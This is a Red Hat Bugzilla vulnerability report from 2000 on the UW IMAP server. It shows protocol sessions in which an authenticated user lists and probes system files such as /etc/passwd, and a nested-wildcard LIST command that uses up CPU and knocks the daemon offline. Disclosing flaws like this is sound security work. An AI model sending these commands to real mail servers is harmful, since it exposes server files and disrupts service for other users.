Bug 11052 - IMAP: NEW DoS + remote listing of all files on server
IMAP: NEW DoS + remote listing of all files on server
Status: CLOSED WONTFIX
Product: Red Hat Linux
Classification: Retired
Component: imap (Show other bugs)
7.0
All Linux
high Severity medium
: ---
: ---
Assigned To: Mike A. Harris
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2000-04-25 23:21 EDT by SB
Modified: 2008-05-01 11:37 EDT (History)
2 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2001-07-30 19:30:56 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)
imapk.c - Example DoS against imapd (1.90 KB, text/plain)
2000-04-25 23:23 EDT, SB
no flags Details

  None (edit)
Description SB 2000-04-25 23:21:34 EDT
Tested this on IMAP4rev1 v12.264 (imap-4.7-7.i386.rpm)
This is NOT related to previously reported buffer overflow in IMAPD.

I'll start with the file stuff.  I'm not sure if this is intended behaviour
or not but the ability of a imap-only user to do this:

[user@king user]$ telnet linux 143
Trying 192.168.0.3...
Connected to localhost (192.168.0.3).
Escape character is '^]'.
* OK localhost IMAP4rev1 v12.264 server ready
1 login user testpass
1 OK LOGIN completed
1 list "" /
* LIST (\NoSelect) "/" /
1 OK LIST completed
1 list "" /etc/p*
* LIST (\NoInferiors \UnMarked) "/" /etc/passwd
* LIST (\NoInferiors \UnMarked) "/" /etc/printcap
* LIST (\NoInferiors \UnMarked) "/" /etc/profile
* LIST (\NoSelect) "/" /etc/profile.d
* LIST (\NoInferiors \UnMarked) "/" /etc/profile.d/lang.csh
... etc ...
* LIST (\NoInferiors \UnMarked) "/" /etc/paper.config
* LIST (\NoInferiors \UnMarked) "/" /etc/pam.conf.rpmsave
* LIST (\NoInferiors \UnMarked) "/" /etc/pine.conf
* LIST (\NoInferiors \UnMarked) "/" /etc/pine.conf.fixed
* LIST (\NoInferiors \UnMarked) "/" /etc/pinforc
1 OK LIST completed

...just doesn't seem right.  By doing a X LIST "" /* it is possible to get
a listing of everyfile and directory on the server the mailserver is
running on.  Also by using the % wildcard one could get norecursive
directory listings.  The select command is just as bad, for example, one
could do this:

[user@king rfc]$ telnet linux 143
Trying 192.168.0.3...
Connected to localhost (192.168.0.3).
Escape character is '^]'.
* OK localhost IMAP4rev1 v12.264 server ready
x login user testpass
x OK LOGIN completed
x select /etc/nosuchfile
x NO SELECT failed: Can't open mailbox /etc/nosuchfile: no such mailbox
x select /etc/shadow
x NO SELECT failed: Unable to open file /etc/shadow
x select /etc/passwd
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 956437839] UID validity status
* OK [UIDNEXT 2] Predicted next UID
* NO [UIDNOTSTICKY] Non-permanent unique identifiers: /etc/passwd
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS ()] Permanent flags
* OK [UNSEEN 1] first unseen message in /etc/passwd
x OK [READ-ONLY] SELECT completed
X SELECT /home/ftp
X NO SELECT failed: Can't open /home/ftp: not a selectable mailbox

As you can see remote users can check the existence of files and
directories, and even to some limited capacity tell the permissions on
files by the error message the server returns.  Further investigation found
the same behaviour by the status command, example:

X STATUS /etc/passwd (UIDNEXT MESSAGES)
* STATUS /etc/passwd (MESSAGES 1 UIDNEXT 2)
X OK STATUS completed
X STATUS /etc/shadow (UIDNEXT MESSAGES)
X NO STATUS failed: Unable to open file /etc/shadow
X STATUS /etc/nosuchfile (UIDNEXT MESSAGES)
X NO STATUS failed: Can't get status of mailbox /etc/nosuchfile: no such
mailbox

So basically the list command will list the entire system and probably any
command that deals with files via user-supplied parameters(STATUS,
SELECT...etc) can be used to determine what files exist and some limited
info on read permissions.  I dunno if this is intended behaviour or not,
but seems to me if it is, it should not be set that way by default, and if
it is not, I suggest it be fixed.  The file stuff wasn't really the point
of this heads-up, the resulting DoS attacks are...For example:

* OK linux.local IMAP4rev1 v12.264 server ready
x login sb testpass
x OK LOGIN completed
x list "" /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
[I diconnected without logging out]

root console on linux *45* minutes later!!!:

[root@linux /root]# ps aux | grep imapd
sb        1213 92.0  2.7  2740 1256 ?        R    17:56  45:06 imapd
root      1527  0.0  0.8  1212  408 tty1    S    18:45   0:00 grep imapd

The process continues to grow...
It gradually eats up CPU and continues to until it has parsed all the data.
This attack can go on for pretty much an unlimited amount of time because
it get exponentially longer each time you add another /* to the mix and the
more files you have, the more resources are chewed up and the longer and
drawn out the attack.  I imagine on big servers with heavy workloads this
could cause some serious hedaches.  This vulnerability is not limited to
Linux as I just tried all the above things on a Digital Unix machine
running IMAP4rev1 v12.250 and it did the same thing, however I have not yet
reported this to the imap people yet.

On my machine, after 30 of those processes were running this is what I got
when I tried to connect to my imapd:

[root@king /root]# telnet linux 143
Trying 192.168.0.3...
telnet: Unable to connect to remote host: Connection refused

While the 30 processes were running IMAPD was completely shutdown to
outside connection and considering it can take several minutes to several
hours to parse the strings on a machine with a minimal workload it's a very
effective DoS against IMAPD and can really slow down the server as well.
I'll attach program I used to test the DoS, it's based on a sendmail
parsing DoS, similar problem.

-Stan Bubrouski
Comment 1 SB 2000-04-25 23:23:59 EDT
Created attachment 213 [details]
imapk.c - Example DoS against imapd
Comment 2 Cristian Gafton 2000-08-08 22:28:38 EDT
assigned to the new owner
Comment 3 David Saranen 2000-08-12 13:05:47 EDT
The remote listing of files still applies to imap-2000 RC3.1.

imap 2000 make file has an CHROOT_SERVER build option
Comment 4 Mike A. Harris 2001-07-30 19:30:51 EDT
Reassigning to new package owner.
Comment 5 Mike A. Harris 2002-01-25 03:38:41 EST
UW imap would require significant amount of work to chcange any of this,
and realistically, the licence on the code is not an Open Source
compatible licence.  Any effort to do so, would basically result
in Red Hat forking the imap sources.  I suggest that you contact the
UW directly with this issue.  If they fix the perceived problem, we
will inherit their fixes when they release a new server.

Note You need to log in before you can comment on or make changes to this bug.